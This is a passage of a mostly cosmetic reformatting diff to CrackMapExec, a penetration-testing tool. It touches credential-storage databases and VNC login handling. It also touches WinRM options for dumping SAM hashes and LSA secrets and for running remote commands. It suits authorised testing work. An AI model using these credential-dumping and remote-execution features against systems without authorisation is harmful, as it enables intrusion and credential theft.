-28,56 +32,58 @@ class database: self.db_engine = db_engine self.metadata = MetaData() self.reflect_tables() - session_factory = sessionmaker( - bind=self.db_engine, - expire_on_commit=True - ) - + session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True) + Session = scoped_session(session_factory) self.sess = Session() @staticmethod def db_schema(db_conn): db_conn.execute( - '''CREATE TABLE "credentials" ( + """CREATE TABLE "credentials" ( "id" integer PRIMARY KEY, "username" text, "password" text, "credtype" text - )''') + )""" + ) db_conn.execute( - '''CREATE TABLE "hosts" ( + """CREATE TABLE "hosts" ( "id" integer PRIMARY KEY, "host" text, "port" integer, "banner" text, "os" text - )''') + )""" + ) db_conn.execute( - '''CREATE TABLE "loggedin_relations" ( + """CREATE TABLE "loggedin_relations" ( "id" integer PRIMARY KEY, "credid" integer, "hostid" integer, "shell" boolean, FOREIGN KEY(credid) REFERENCES credentials(id), FOREIGN KEY(hostid) REFERENCES hosts(id) - )''') + )""" + ) # "admin" access with SSH means we have root access, which implies shell access since we run commands to check db_conn.execute( - '''CREATE TABLE "admin_relations" ( + """CREATE TABLE "admin_relations" ( "id" integer PRIMARY KEY, "credid" integer, "hostid" integer, FOREIGN KEY(credid) REFERENCES credentials(id), FOREIGN KEY(hostid) REFERENCES hosts(id) - )''') + )""" + ) db_conn.execute( - '''CREATE TABLE "keys" ( + """CREATE TABLE "keys" ( "id" integer PRIMARY KEY, "credid" integer, "data" text, FOREIGN KEY(credid) REFERENCES credentials(id) - )''') + )""" + ) def reflect_tables(self): with self.db_engine.connect(): @@ -89,12 +95,7 @@ class database: self.KeysTable = Table("keys", self.metadata, autoload_with=self.db_engine) except (NoInspectionAvailable, NoSuchTableError): ssh_workspace = f"~/.cme/workspaces/{cme_workspace}/ssh.db" - print( - "[-] Error reflecting tables for SSH protocol - this means there is a DB schema mismatch \n" - "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" - f"[-] Optionally save the old DB data (`cp {ssh_workspace} ~/cme_ssh.bak`)\n" - f"[-] Then remove the CME SSH DB (`rm -rf {ssh_workspace}`) and run CME to initialize the new DB" - ) + print("[-] Error reflecting tables for SSH protocol - this means there is a DB schema mismatch \n" "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" f"[-] Optionally save the old DB data (`cp {ssh_workspace} ~/cme_ssh.bak`)\n" f"[-] Then remove the CME SSH DB (`rm -rf {ssh_workspace}`) and run CME to initialize the new DB") exit() def shutdown_db(self): @@ -117,9 +118,7 @@ class database: hosts = [] updated_ids = [] - q = select(self.HostsTable).filter( - self.HostsTable.c.host == host - ) + q = select(self.HostsTable).filter(self.HostsTable.c.host == host) results = self.sess.execute(q).all() cme_logger.debug(f"add_host(): Initial hosts results: {results}") @@ -128,8 +127,8 @@ class database: new_host = { "host": host, "port": port, - "banner": banner if banner is not None else '', - "os": os if os is not None else '' + "banner": banner if banner is not None else "", + "os": os if os is not None else "", } hosts = [new_host] # update existing hosts data @@ -155,16 +154,10 @@ class database: # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id) - update_columns = {col.name: col for col in q.excluded if col.name not in 'id'} - q = q.on_conflict_do_update( - index_elements=self.HostsTable.primary_key, - set_=update_columns - ) + update_columns = {col.name: col for col in q.excluded if col.name not in "id"} + q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns) - self.sess.execute( - q, - hosts - ) # .scalar() + self.sess.execute(q, hosts) # .scalar() # we only return updated IDs for now - when RETURNING clause is allowed we can return inserted if updated_ids: cme_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}") @@ -178,16 +171,20 @@ class database: # a user can have multiple keys, all with passphrases, and a separate login password if key is not None: - q = select(self.CredentialsTable).join(self.KeysTable).filter( - func.lower(self.CredentialsTable.c.username) == func.lower(username), - func.lower(self.CredentialsTable.c.credtype) == func.lower(credtype), - self.KeysTable.c.data == key + q = ( + select(self.CredentialsTable) + .join(self.KeysTable) + .filter( + func.lower(self.CredentialsTable.c.username) == func.lower(username), + func.lower(self.CredentialsTable.c.credtype) == func.lower(credtype), + self.KeysTable.c.data == key, + ) ) results = self.sess.execute(q).all() else: q = select(self.CredentialsTable).filter( func.lower(self.CredentialsTable.c.username) == func.lower(username), - func.lower(self.CredentialsTable.c.credtype) == func.lower(credtype) + func.lower(self.CredentialsTable.c.credtype) == func.lower(credtype), ) results = self.sess.execute(q).all() @@ -217,17 +214,11 @@ class database: # TODO: find a way to abstract this away to a single Upsert call q_users = Insert(self.CredentialsTable) # .returning(self.CredentialsTable.c.id) - update_columns_users = {col.name: col for col in q_users.excluded if col.name not in 'id'} - q_users = q_users.on_conflict_do_update( - index_elements=self.CredentialsTable.primary_key, - set_=update_columns_users - ) + update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"} + q_users = q_users.on_conflict_do_update(index_elements=self.CredentialsTable.primary_key, set_=update_columns_users) cme_logger.debug(f"Adding credentials: {credentials}") - self.sess.execute( - q_users, - credentials - ) # .scalar() + self.sess.execute(q_users, credentials) # .scalar() # return cred_ids # hacky way to get cred_id since we can't use returning() yet @@ -238,57 +229,37 @@ class database: return cred_id else: return credentials - + def remove_credentials(self, creds_id): """ Removes a credential ID from the database """ del_hosts = [] for cred_id in creds_id: - q = delete(self.CredentialsTable).filter( - self.CredentialsTable.c.id == cred_id - ) + q = delete(self.CredentialsTable).filter(self.CredentialsTable.c.id == cred_id) del_hosts.append(q) self.sess.execute(q) def add_key(self, cred_id, key): # check if key relation already exists - check_q = self.sess.execute( - select(self.KeysTable).filter( - self.KeysTable.c.credid == cred_id - ) - ).all() + check_q = self.sess.execute(select(self.KeysTable).filter(self.KeysTable.c.credid == cred_id)).all() cme_logger.debug(f"check_q: {check_q}") if check_q: cme_logger.debug(f"Key already exists for cred_id {cred_id}") return - key_data = { - "credid": cred_id, - "data": key - } - self.sess.execute( - Insert(self.KeysTable), - key_data - ) - key_id = self.sess.execute( - select(self.KeysTable).filter( - self.KeysTable.c.credid == cred_id - ) - ).all()[0].id + key_data = {"credid": cred_id, "data": key} + self.sess.execute(Insert(self.KeysTable), key_data) + key_id = self.sess.execute(select(self.KeysTable).filter(self.KeysTable.c.credid == cred_id)).all()[0].id cme_logger.debug(f"Key added: {key_id}") return key_id def get_keys(self, key_id=None, cred_id=None): q = select(self.KeysTable) if key_id is not None: - q = q.filter( - self.KeysTable.c.id == key_id - ) + q = q.filter(self.KeysTable.c.id == key_id) elif cred_id is not None: - q = q.filter( - self.KeysTable.c.credid == cred_id - ) + q = q.filter(self.KeysTable.c.credid == cred_id) results = self.sess.execute(q).all() return results @@ -297,14 +268,12 @@ class database: creds_q = select(self.CredentialsTable) if cred_id: - creds_q = creds_q.filter( - self.CredentialsTable.c.id == cred_id - ) + creds_q = creds_q.filter(self.CredentialsTable.c.id == cred_id) else: creds_q = creds_q.filter( func.lower(self.CredentialsTable.c.credtype) == func.lower(credtype), func.lower(self.CredentialsTable.c.username) == func.lower(username), - self.CredentialsTable.c.password == secret + self.CredentialsTable.c.password == secret, ) creds = self.sess.execute(creds_q) hosts = self.get_hosts(host_id) @@ -313,13 +282,10 @@ class database: for cred, host in zip(creds, hosts): cred_id = cred[0] host_id = host[0] - link = { - "credid": cred_id, - "hostid": host_id - } + link = {"credid": cred_id, "hostid": host_id} admin_relations_select = select(self.AdminRelationsTable).filter( self.AdminRelationsTable.c.credid == cred_id, - self.AdminRelationsTable.c.hostid == host_id + self.AdminRelationsTable.c.hostid == host_id, ) links = self.sess.execute(admin_relations_select).all() @@ -329,20 +295,13 @@ class database: admin_relations_insert = Insert(self.AdminRelationsTable) if add_links: - self.sess.execute( - admin_relations_insert, - add_links - ) + self.sess.execute(admin_relations_insert, add_links) def get_admin_relations(self, cred_id=None, host_id=None): if cred_id: - q = select(self.AdminRelationsTable).filter( - self.AdminRelationsTable.c.credid == cred_id - ) + q = select(self.AdminRelationsTable).filter(self.AdminRelationsTable.c.credid == cred_id) elif host_id: - q = select(self.AdminRelationsTable).filter( - self.AdminRelationsTable.c.hostid == host_id - ) + q = select(self.AdminRelationsTable).filter(self.AdminRelationsTable.c.hostid == host_id) else: q = select(self.AdminRelationsTable) @@ -353,14 +312,10 @@ class database: q = delete(self.AdminRelationsTable) if cred_ids: for cred_id in cred_ids: - q = q.filter( - self.AdminRelationsTable.c.credid == cred_id - ) + q = q.filter(self.AdminRelationsTable.c.credid == cred_id) elif host_ids: for host_id in host_ids: - q = q.filter( - self.AdminRelationsTable.c.hostid == host_id - ) + q = q.filter(self.AdminRelationsTable.c.hostid == host_id) self.sess.execute(q) def is_credential_valid(self, credential_id): @@ -369,7 +324,7 @@ class database: """ q = select(self.CredentialsTable).filter( self.CredentialsTable.c.id == credential_id, - self.CredentialsTable.c.password is not None + self.CredentialsTable.c.password is not None, ) results = self.sess.execute(q).all() return len(results) > 0 @@ -380,19 +335,13 @@ class database: """ # if we're returning a single credential by ID if self.is_credential_valid(filter_term): - q = select(self.CredentialsTable).filter( - self.CredentialsTable.c.id == filter_term - ) + q = select(self.CredentialsTable).filter(self.CredentialsTable.c.id == filter_term) elif cred_type: - q = select(self.CredentialsTable).filter( - self.CredentialsTable.c.credtype == cred_type - ) + q = select(self.CredentialsTable).filter(self.CredentialsTable.c.credtype == cred_type) # if we're filtering by username - elif filter_term and filter_term != '': + elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") - q = select(self.CredentialsTable).filter( - func.lower(self.CredentialsTable.c.username).like(like_term) - ) + q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username).like(like_term)) # otherwise return all credentials else: q = select(self.CredentialsTable) @@ -401,28 +350,25 @@ class database: return results def get_credential(self, cred_type, username, password): - q = select(self.CredentialsTable).filter( self.CredentialsTable.c.username == username, self.CredentialsTable.c.password == password, - self.CredentialsTable.c.credtype == cred_type + self.CredentialsTable.c.credtype == cred_type, ) results = self.sess.execute(q).first() if results is None: return None else: return results.id - + def is_host_valid(self, host_id): """ Check if this host ID is valid. """ - q = select(self.HostsTable).filter( - self.HostsTable.c.id == host_id - ) + q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id) results = self.sess.execute(q).all() return len(results) > 0 - + def get_hosts(self, filter_term=None): """ Return hosts from the database. @@ -431,18 +377,14 @@ class database: # if we're returning a single host by ID if self.is_host_valid(filter_term): - q = q.filter( - self.HostsTable.c.id == filter_term - ) + q = q.filter(self.HostsTable.c.id == filter_term) results = self.sess.execute(q).first() # all() returns a list, so we keep the return format the same so consumers don't have to guess return [results] # if we're filtering by host elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") - q = q.filter( - self.HostsTable.c.host.like(like_term) - ) + q = q.filter(self.HostsTable.c.host.like(like_term)) results = self.sess.execute(q).all() cme_logger.debug(f"SSH get_hosts() - results: {results}") return results @@ -451,9 +393,7 @@ class database: """ Check if this User ID is valid. """ - q = select(self.CredentialsTable).filter( - self.CredentialsTable.c.id == cred_id - ) + q = select(self.CredentialsTable).filter(self.CredentialsTable.c.id == cred_id) results = self.sess.execute(q).all() return len(results) > 0 @@ -461,48 +401,35 @@ class database: q = select(self.CredentialsTable) if self.is_user_valid(filter_term): - q = q.filter( - self.CredentialsTable.c.id == filter_term - ) + q = q.filter(self.CredentialsTable.c.id == filter_term) # if we're filtering by username - elif filter_term and filter_term != '': + elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") - q = q.filter( - func.lower(self.CredentialsTable.c.username).like(like_term) - ) + q = q.filter(func.lower(self.CredentialsTable.c.username).like(like_term)) results = self.sess.execute(q).all() return results def get_user(self, domain, username): - q = select(self.CredentialsTable).filter( - func.lower(self.CredentialsTable.c.username) == func.lower(username) - ) + q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username) == func.lower(username)) results = self.sess.execute(q).all() return results def add_loggedin_relation(self, cred_id, host_id, shell=False): relation_query = select(self.LoggedinRelationsTable).filter( self.LoggedinRelationsTable.c.credid == cred_id, - self.LoggedinRelationsTable.c.hostid == host_id + self.LoggedinRelationsTable.c.hostid == host_id, ) results = self.sess.execute(relation_query).all() # only add one if one doesn't already exist if not results: - relation = { - "credid": cred_id, - "hostid": host_id, - "shell": shell - } + relation = {"credid": cred_id, "hostid": host_id, "shell": shell} try: cme_logger.debug(f"Inserting loggedin_relations: {relation}") # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id) - self.sess.execute( - q, - [relation] - ) # .scalar() + self.sess.execute(q, [relation]) # .scalar() inserted_id_results = self.get_loggedin_relations(cred_id, host_id) cme_logger.debug(f"Checking if relation was added: {inserted_id_results}") return inserted_id_results[0].id @@ -512,28 +439,18 @@ class database: def get_loggedin_relations(self, cred_id=None, host_id=None, shell=None): q = select(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id) if cred_id: - q = q.filter( - self.LoggedinRelationsTable.c.credid == cred_id - ) + q = q.filter(self.LoggedinRelationsTable.c.credid == cred_id) if host_id: - q = q.filter( - self.LoggedinRelationsTable.c.hostid == host_id - ) + q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id) if shell: - q = q.filter( - self.LoggedinRelationsTable.c.shell == shell - ) + q = q.filter(self.LoggedinRelationsTable.c.shell == shell) results = self.sess.execute(q).all() return results def remove_loggedin_relations(self, cred_id=None, host_id=None): q = delete(self.LoggedinRelationsTable) if cred_id: - q = q.filter( - self.LoggedinRelationsTable.c.credid == cred_id - ) + q = q.filter(self.LoggedinRelationsTable.c.credid == cred_id) elif host_id: - q = q.filter( - self.LoggedinRelationsTable.c.hostid == host_id - ) + q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id) self.sess.execute(q) diff --git a/cme/protocols/ssh/db_navigator.py b/cme/protocols/ssh/db_navigator.py index 3a39db3e..c213ac3a 100644 --- a/cme/protocols/ssh/db_navigator.py +++ b/cme/protocols/ssh/db_navigator.py @@ -1,13 +1,22 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- -from cme.helpers.misc import validate_ntlm from cme.cmedb import DatabaseNavigator, print_table, print_help class navigator(DatabaseNavigator): def display_creds(self, creds): - data = [["CredID", "Admin On", "Total Logins", "Total Shells", "Username", "Password", "CredType"]] + data = [ + [ + "CredID", + "Admin On", + "Total Logins", + "Total Shells", + "Username", + "Password", + "CredType", + ] + ] for cred in creds: cred_id = cred[0] @@ -19,28 +28,22 @@ class navigator(DatabaseNavigator): total_users = self.db.get_loggedin_relations(cred_id=cred_id) total_shell = total_users = self.db.get_loggedin_relations(cred_id=cred_id, shell=True) - data.append([ - cred_id, - str(len(admin_links)) + " Host(s)", - str(len(total_users)) + " Host(s)", - str(len(total_shell)) + " Shells(s)", - username, - password, - credtype - ]) + data.append( + [ + cred_id, + str(len(admin_links)) + " Host(s)", + str(len(total_users)) + " Host(s)", + str(len(total_shell)) + " Shells(s)", + username, + password, + credtype, + ] + ) print_table(data, title="Credentials") # pull/545 def display_hosts(self, hosts): - data = [[ - "HostID", - "Admins", - "Total Users", - "Host", - "Port", - 'Banner', - 'OS' - ]] + data = [["HostID", "Admins", "Total Users", "Host", "Port", "Banner", "OS"]] for h in hosts: host_id = h[0] @@ -59,7 +62,7 @@ class navigator(DatabaseNavigator): host, port, banner, - os + os, ] ) print_table(data, title="Hosts") @@ -76,13 +79,7 @@ class navigator(DatabaseNavigator): if len(hosts) > 1: self.display_hosts(hosts) elif len(hosts) == 1: - data = [[ - "HostID", - "Host", - "Port", - "Banner", - "OS" - ]] + data = [["HostID", "Host", "Port", "Banner", "OS"]] host_id_list = [] for h in hosts: @@ -93,15 +90,7 @@ class navigator(DatabaseNavigator): banner = h[3] os = h[4] - data.append( - [ - host_id, - host, - port, - banner, - os - ] - ) + data.append([host_id, host, port, banner, os]) print_table(data, title="Host") admin_access_data = [["CredID", "CredType", "UserName", "Password", "Shell"]] @@ -141,7 +130,10 @@ class navigator(DatabaseNavigator): nonadmin_access_data.append(cred_data) if len(nonadmin_access_data) > 1: - print_table(nonadmin_access_data, title="Credential(s) with Non Admin Access") + print_table( + nonadmin_access_data, + title="Credential(s) with Non Admin Access", + ) if len(admin_access_data) > 1: print_table(admin_access_data, title="Credential(s) with Admin Access") @@ -204,7 +196,7 @@ class navigator(DatabaseNavigator): credtype = cred[3] cred_data.append([cred_id, username, password, credtype]) - print_table(cred_data, title='Credential(s)') + print_table(cred_data, title="Credential(s)") admin_access_data = [["HostID", "Host", "Port", "Banner", "OS", "Shell"]] nonadmin_access_data = [["HostID", "Host", "Port", "Banner", "OS", "Shell"]] @@ -267,11 +259,7 @@ class navigator(DatabaseNavigator): print_help(help_string) def display_keys(self, keys): - data = [[ - "Key ID", - "Cred ID", - "Key Data" - ]] + data = [["Key ID", "Cred ID", "Key Data"]] for key in keys: data.append([key[0], key[1], key[2]]) print_table(data, "Keys") @@ -299,9 +287,7 @@ class navigator(DatabaseNavigator): print_help(help_string) def do_clear_database(self, line): - if input( - "This will destroy all data in the current database, are you SURE you want to run this? (y/n): " - ) == "y": + if input("This will destroy all data in the current database, are you SURE you" " want to run this? (y/n): ") == "y": self.db.clear_database() def help_clear_database(self): @@ -319,7 +305,7 @@ class navigator(DatabaseNavigator): """ commands = ["add", "remove"] - mline = line.partition(' ')[2] + mline = line.partition(" ")[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)] @@ -329,6 +315,6 @@ class navigator(DatabaseNavigator): """ commands = ["add", "remove", "key", "plaintext"] - mline = line.partition(' ')[2] + mline = line.partition(" ")[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)] diff --git a/cme/protocols/vnc.py b/cme/protocols/vnc.py index 3329a992..243eeb7b 100644 --- a/cme/protocols/vnc.py +++ b/cme/protocols/vnc.py @@ -32,10 +32,19 @@ class vnc(connection): def proto_args(parser, std_parser, module_parser): vnc_parser = parser.add_parser("vnc", help="own stuff using VNC", parents=[std_parser, module_parser]) vnc_parser.add_argument("--port", type=int, default=5900, help="Custom VNC port") - vnc_parser.add_argument("--vnc-sleep", type=int, default=5, help="VNC Sleep on socket connection to avoid rate limit") + vnc_parser.add_argument( + "--vnc-sleep", + type=int, + default=5, + help="VNC Sleep on socket connection to avoid rate limit", + ) egroup = vnc_parser.add_argument_group("Screenshot", "VNC Server") - egroup.add_argument("--screenshot", action="store_true", help="Screenshot VNC if connection success") + egroup.add_argument( + "--screenshot", + action="store_true", + help="Screenshot VNC if connection success", + ) egroup.add_argument("--screentime", type=int, default=5, help="Time to wait for desktop image") return parser @@ -56,7 +65,7 @@ class vnc(connection): "protocol": "VNC", "host": self.host, "port": self.args.port, - "hostname": self.hostname + "hostname": self.hostname, } ) @@ -89,14 +98,18 @@ class vnc(connection): if password == "": stype = asyauthSecret.NONE self.credential = UniCredential(secret=password, protocol=asyauthProtocol.PLAIN, stype=stype) - self.conn = VNCConnection(target=self.target, credentials=self.credential, iosettings=self.iosettings) + self.conn = VNCConnection( + target=self.target, + credentials=self.credential, + iosettings=self.iosettings, + ) asyncio.run(self.connect_vnc()) self.admin_privs = True self.logger.success( - u"{} {}".format( + "{} {}".format( password, - highlight(f"({self.config.get('CME', 'pwn3d_label')})" if self.admin_privs else '') + highlight(f"({self.config.get('CME', 'pwn3d_label')})" if self.admin_privs else ""), ) ) return True @@ -105,9 +118,11 @@ class vnc(connection): self.logger.debug(str(e)) if "Server supports: 1" in str(e): self.logger.success( - u"{} {}".format( + "{} {}".format( "No password seems to be accepted by the server", - highlight(f"({self.config.get('CME', 'pwn3d_label')})" if self.admin_privs else ''))) + highlight(f"({self.config.get('CME', 'pwn3d_label')})" if self.admin_privs else ""), + ) + ) else: self.logger.fail(f"{password} {'Authentication failed'}") return False @@ -118,9 +133,7 @@ class vnc(connection): await asyncio.sleep(int(self.args.screentime)) if self.conn is not None and self.conn.desktop_buffer_has_data is True: buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) - filename = os.path.expanduser( - f"~/.cme/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png" - ) + filename = os.path.expanduser(f"~/.cme/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") buffer.save(filename, "png") self.logger.highlight(f"Screenshot saved {filename}") diff --git a/cme/protocols/vnc/database.py b/cme/protocols/vnc/database.py index cfe80f5d..1f910278 100644 --- a/cme/protocols/vnc/database.py +++ b/cme/protocols/vnc/database.py @@ -2,7 +2,11 @@ # -*- coding: utf-8 -*- from sqlalchemy import MetaData, Table -from sqlalchemy.exc import IllegalStateChangeError, NoInspectionAvailable, NoSuchTableError +from sqlalchemy.exc import ( + IllegalStateChangeError, + NoInspectionAvailable, + NoSuchTableError, +) from sqlalchemy.orm import sessionmaker, scoped_session from sqlalchemy.exc import SAWarning import warnings @@ -14,7 +18,6 @@ warnings.filterwarnings("ignore", category=SAWarning) class database: - def __init__(self, db_engine): self.HostsTable = None self.CredentialsTable = None @@ -22,10 +25,7 @@ class database: self.db_engine = db_engine self.metadata = MetaData() self.reflect_tables() - session_factory = sessionmaker( - bind=self.db_engine, - expire_on_commit=True - ) + session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True) Session = scoped_session(session_factory) # this is still named "conn" when it is the session object; TODO: rename @@ -33,20 +33,24 @@ class database: @staticmethod def db_schema(db_conn): - db_conn.execute('''CREATE TABLE "credentials" ( + db_conn.execute( + """CREATE TABLE "credentials" ( "id" integer PRIMARY KEY, "username" text, "password" text, "pkey" text - )''') + )""" + ) - db_conn.execute('''CREATE TABLE "hosts" ( + db_conn.execute( + """CREATE TABLE "hosts" ( "id" integer PRIMARY KEY, "ip" text, "hostname" text, "port" integer, "server_banner" text - )''') + )""" + ) def reflect_tables(self): with self.db_engine.connect() as conn: @@ -54,12 +58,7 @@ class database: self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine) self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine) except (NoInspectionAvailable, NoSuchTableError): - print( - "[-] Error reflecting tables - this means there is a DB schema mismatch \n" - "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" - "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" - "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema" - ) + print("[-] Error reflecting tables - this means there is a DB schema mismatch \n" "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema") exit() def shutdown_db(self): diff --git a/cme/protocols/vnc/db_navigator.py b/cme/protocols/vnc/db_navigator.py index afeb6af1..36777af1 100644 --- a/cme/protocols/vnc/db_navigator.py +++ b/cme/protocols/vnc/db_navigator.py @@ -15,4 +15,4 @@ class navigator(DatabaseNavigator): THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE YOU CANNOT UNDO THIS COMMAND """ - print_help(help_string) \ No newline at end of file + print_help(help_string) diff --git a/cme/protocols/winrm.py b/cme/protocols/winrm.py index b0f9baf5..125b07e3 100644 --- a/cme/protocols/winrm.py +++ b/cme/protocols/winrm.py @@ -2,29 +2,20 @@ # -*- coding: utf-8 -*- import binascii import hashlib -from datetime import datetime import os import requests -from impacket.smbconnection import SMBConnection, SessionError -from cme.connection import * -from cme.helpers.logger import highlight -from cme.helpers.bloodhound import add_user_bh -from cme.protocols.ldap.smbldap import LDAPConnect -from cme.logger import CMEAdapter + +from datetime import datetime from pypsrp.client import Client + +from impacket.smbconnection import SMBConnection from impacket.examples.secretsdump import LocalOperations, LSASecrets, SAMHashes -import logging - -# The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message -from requests.packages.urllib3.exceptions import InsecureRequestWarning -requests.packages.urllib3.disable_warnings(InsecureRequestWarning) - - -class SuppressFilter(logging.Filter): - # remove warning https://github.com/diyan/pywinrm/issues/269 - def filter(self, record): - return 'wsman' not in record.getMessage() +from cme.config import process_secret +from cme.connection import * +from cme.helpers.bloodhound import add_user_bh +from cme.protocols.ldap.laps import LDAPConnect, LAPSv2Extract +from cme.logger import CMEAdapter class winrm(connection): def __init__(self, args, db, host): @@ -44,33 +35,72 @@ class winrm(connection): winrm_parser = parser.add_parser('winrm', help="own stuff using WINRM", parents=[std_parser, module_parser]) winrm_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') winrm_parser.add_argument("--port", type=int, default=0, help="Custom WinRM port") - winrm_parser.add_argument("--ssl", action='store_true', help="Connect to SSL Enabled WINRM") - winrm_parser.add_argument("--ignore-ssl-cert", action='store_true', help="Ignore Certificate Verification") - winrm_parser.add_argument("--laps", dest='laps', metavar="LAPS", type=str, help="LAPS authentification", nargs='?', const='administrator') - winrm_parser.add_argument("--http-timeout", dest='http_timeout', type=int, default=10, help="HTTP timeout for WinRM connections") + winrm_parser.add_argument("--ssl", action="store_true", help="Connect to SSL Enabled WINRM") + winrm_parser.add_argument( + "--ignore-ssl-cert", + action="store_true", + help="Ignore Certificate Verification", + ) + winrm_parser.add_argument( + "--laps", + dest="laps", + metavar="LAPS", + type=str, + help="LAPS authentification", + nargs="?", + const="administrator", + ) + winrm_parser.add_argument( + "--http-timeout", + dest="http_timeout", + type=int, + default=10, + help="HTTP timeout for WinRM connections", + ) dgroup = winrm_parser.add_mutually_exclusive_group() - dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to") - dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target') + dgroup.add_argument( + "-d", + metavar="DOMAIN", + dest="domain", + type=str, + default=None, + help="domain to authenticate to", + ) + dgroup.add_argument( + "--local-auth", + action="store_true", + help="authenticate locally to each target", + ) cgroup = winrm_parser.add_argument_group("Credential Gathering", "Options for gathering credentials") cegroup = cgroup.add_mutually_exclusive_group() - cegroup.add_argument("--sam", action='store_true', help='dump SAM hashes from target systems') - cegroup.add_argument("--lsa", action='store_true', help='dump LSA secrets from target systems') + cegroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems") + cegroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems") cgroup = winrm_parser.add_argument_group("Command Execution", "Options for executing commands") - cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output') - cgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command") - cgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command') + cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output") + cgroup.add_argument( + "-x", + metavar="COMMAND", + dest="execute", + help="execute the specified command", + ) + cgroup.add_argument( + "-X", + metavar="PS_COMMAND", + dest="ps_execute", + help="execute the specified PowerShell command", + ) return parser def proto_logger(self): self.logger = CMEAdapter( extra={ - 'protocol': 'WINRM', - 'host': self.host, - 'port': self.args.port, - 'hostname': self.hostname + "protocol": "WINRM", + "host": self.host, + "port": self.args.port if self.args.port else 5985, + "hostname": self.hostname, } ) @@ -80,28 +110,37 @@ class winrm(connection): self.domain = self.args.domain self.logger.extra["hostname"] = self.hostname else: + # try: + smb_conn = SMBConnection(self.host, self.host, None, timeout=5) + no_ntlm = False try: - smb_conn = SMBConnection(self.host, self.host, None, timeout=5) - try: - smb_conn.login("", "") - except SessionError as e: - pass - - self.domain = smb_conn.getServerDNSDomainName() - self.hostname = smb_conn.getServerName() - self.server_os = smb_conn.getServerOS() - self.logger.extra["hostname"] = self.hostname - - self.output_filename = os.path.expanduser( - f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}" - ) - - try: - smb_conn.logoff() - except: - pass + smb_conn.login("", "") + except BrokenPipeError: + self.logger.fail(f"Broken Pipe Error while attempting to login") except Exception as e: - self.logger.fail(f"Error retrieving host domain: {e} specify one manually with the '-d' flag") + if "STATUS_NOT_SUPPORTED" in str(e): + # no ntlm supported + no_ntlm = True + pass + + self.domain = smb_conn.getServerDNSDomainName() if not no_ntlm else self.args.domain + self.hostname = smb_conn.getServerName() if not no_ntlm else self.host + self.server_os = smb_conn.getServerOS() + if isinstance(self.server_os.lower(), bytes): + self.server_os = self.server_os.decode("utf-8") + + self.logger.extra["hostname"] = self.hostname + + self.output_filename = os.path.expanduser(f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}") + + try: + smb_conn.logoff() + except: + pass + # except Exception as e: + # self.logger.fail( + # f"Error retrieving host domain: {e} specify one manually with the '-d' flag" + # ) if self.args.domain: self.domain = self.args.domain @@ -116,9 +155,7 @@ class winrm(connection): self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os) - self.output_filename = os.path.expanduser( - f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}" - ) + self.output_filename = os.path.expanduser(f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}") self.output_filename = self.output_filename.replace(":", "-") def laps_search(self, username, password, ntlm_hash, domain): @@ -131,62 +168,77 @@ class winrm(connection): connection = ldapco.kerberos_login( domain, - username[0] if username else '', - password[0] if password else '', - ntlm_hash[0] if ntlm_hash else '', + username[0] if username else "", + password[0] if password else "", + ntlm_hash[0] if ntlm_hash else "", kdcHost=self.kdcHost, - aesKey=self.aesKey + aesKey=self.aesKey, ) else: - connection = ldapco.plaintext_login( + connection = 